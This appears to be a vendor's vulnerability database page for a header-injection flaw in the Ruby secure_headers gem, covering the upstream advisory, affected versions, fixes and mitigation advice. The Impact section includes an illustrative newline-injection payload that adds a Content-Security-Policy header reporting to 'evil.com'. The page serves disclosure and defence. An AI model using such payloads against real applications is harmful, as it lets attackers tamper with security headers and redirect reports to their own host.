GHSA-w978-rmpf-qmwg is a medium-severity (CVSS 4.4) CWE-113 vulnerability in secure_headers. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-w978-rmpf-qmwg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-w978-rmpf-qmwg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 369,023 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
secure_headers💎secure_headers💎secure_headersReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
would result in
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
Workarounds
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies
For more information
If you have any questions or comments about this advisory:
- Open an issue in this repo
- DM us at @ndm on twitter
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | secure_headers | ≥ 6.0.0&&< 6.3.0 | 6.3.0 |
| 💎RubyGems | secure_headers | ≥ 5.0.0&&< 5.2.0 | 5.2.0 |
| 💎RubyGems | secure_headers | all versions | 3.9.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for secure_headers. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update secure_headers to 6.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w978-rmpf-qmwg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w978-rmpf-qmwg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w978-rmpf-qmwg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Satellite 6 ships Secure Header rubygem, however, it does not accept any user input in override_content_security_policy_directive or append_content_security_policy_directive. All directives are hard-coded and therefor Satellite 6 is not vulnerable to this CVE. We may update this rubygem in future release.
Frequently Asked Questions
Is GHSA-w978-rmpf-qmwg in your dependencies?
O3 detects GHSA-w978-rmpf-qmwg across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.